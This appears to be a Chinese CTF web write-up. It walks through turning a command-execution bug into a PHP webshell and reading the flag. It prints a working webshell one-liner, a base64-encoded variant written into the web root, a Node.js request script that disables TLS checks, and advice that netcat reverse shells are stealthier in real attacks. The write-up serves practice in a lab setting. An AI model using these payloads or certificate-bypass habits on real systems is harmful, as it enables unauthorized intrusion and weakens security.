CTF 实战:从一个命令执行漏洞到 Getshell 的完整排错过程

CTF 实战:从一个命令执行漏洞到 Getshell,我踩了几个坑

前言

这次是一道 CTF 的 Web 题,入口是一个 命令执行漏洞。目标很明确:写个 webshell 进去,然后读 flag。

听起来简单,但实际过程里我连续踩了好几个坑——写文件失败、shell 访问 404、命令参数传递异常……这篇文章把完整的排错过程记录下来,比直接给答案更有参考价值。

一、确认漏洞与 Web 目录

目标有命令执行点,先摸清 Web 根目录:

ls -la /var/www/html/

返回确认:Web 目录是 /var/www/html/,且权限 drwxrwxrwx——可写,有戏。

二、坑 1:写 shell 后访问 404

第一反应是直接写一个 PHP shell:

echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

结果访问 shell.php 一直 404 Not Found(nginx/1.10.3)。

排查方向:

# 文件到底写进去没有?
test -f /var/www/html/shell.php && echo exist

# 试写 /tmp 验证写权限
echo hello123 > /tmp/testwrite.txt
test -f /tmp/testwrite.txt && echo ok

发现 /tmp 也失败——说明问题不在目录权限,而在 写入方式本身

定位到根因:> 重定向在这次的命令执行上下文里不生效(payload 经过多层转义,重定向符号被吞了)。

三、坑 2:绕过重定向问题

既然 > 不可靠,改用 base64 解码写入——这是 Web 命令执行里最稳的写法:

echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ | base64 -d > /tmp/s.php

其中 PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ 是:

<?php system($_GET['cmd']); ?>

💡 技巧:payload 里如果含引号、尖括号,直接 echo 容易出转义问题。base64 编码后传输再解码,可以规避几乎所有转义坑。

四、坑 3:shell 路径找不到

文件写成功了,但访问 /s.php 还是 404。批量探测常见路径:

// Node.js 批量测路径
const paths = ['/s.php?cmd=id', '/shell.php?cmd=id',
               '/html/s.php', '/www/s.php', '/s'];
paths.forEach(p => { /* 逐个请求 */ });

结果全部 404——一度以为 shell 没写成功。

后来发现是 shell 文件写到了 /tmp,但 nginx 的 Web 根是 /var/www/html/,两者不是一个地方。重新写到 Web 目录:

echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ | base64 -d > /var/www/html/s.php

再访问 /s.php?cmd=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

PHP Shell 打通了! 🍻

五、坑 4:命令参数传不进去

打通 RCE 后,立刻执行 find 找 flag:

find / -name flag* -type f 2>/dev/null

结果报错:

Warning: system(): Cannot execute a blank command

命令是空的——说明 cmd 参数没传进去。原因是命令行里的特殊字符(*、空格)没正确 URL 编码。

改用 encodeURIComponent 处理参数:

const f = (c) => new Promise(ok => {
  const r = https.request({
    hostname: 'xxx.challenge.ctf.show',
    path: '/s.php?cmd=' + encodeURIComponent(c),
    method: 'GET',
    rejectUnauthorized: false
  }, res => {
    let b = '';
    res.on('data', ch => b += ch);
    res.on('end', () => ok(b));
  });
  r.end();
});

⚠️ 另外注意到:目标的 TLS 证书无效,所以脚本里加了 rejectUnauthorized: false(或设置 NODE_TLS_REJECT_UNAUTHORIZED=0)跳过校验。

六、拿到 Flag

参数编码修好后,find 顺利定位到 flag 文件:

/var/www/html/flag.php

目录一览:

-rw-rw-r-- 1 www-data www-data   43  flag.php
-rw-r--r-- 1 www-data www-data 3485  index.php
-rw-r--r-- 1 www-data www-data   17  info.php
-rw-r--r-- 1 www-data www-data   30  s.php     ← 我们写的 shell

读取 flag.php

cat /var/www/html/flag.php
<?php
$flag = "CTF{reverse_shell_use_nc}";

Flag:CTF{reverse_shell_use_nc}

七、解题思路复盘

阶段 操作 踩的坑
1. 侦察 ls /var/www/html/ 确认 Web 根为 /var/www/html/
2. 写 shell echo ... > shell.php > 重定向在上下文里失效
3. 绕过 base64 解码写入 解决转义问题
4. 定位 批量探测路径 shell 写到 /tmp,不在 Web 根
5. 打通 RCE /s.php?cmd=id 成功返回 uid=33(www-data)
6. 执行命令 find 找 flag 参数未 URL 编码 → 命令为空
7. 修复 encodeURIComponent 命令正常执行
8. 拿 flag cat flag.php CTF{reverse_shell_use_nc}

八、经验总结

  1. 命令执行写文件,优先用 base64 解码,比直接 echo 稳太多
  2. 写 shell 前先确认 Web 根目录,别写进 /tmp 白忙一场
  3. 命令参数一定要 URL 编码*、空格、引号都是雷)
  4. 404 不一定是没写成功,可能是路径不对
  5. HTTPS 目标证书无效时,脚本要跳过校验

题目提示 flag 里带 reverse_shell_use_nc——说明预期解法是用 nc 反弹 shell。这次我用 webshell 也能拿到,但反连在真实场景里更隐蔽、更稳,值得单独练一遍。

发表评论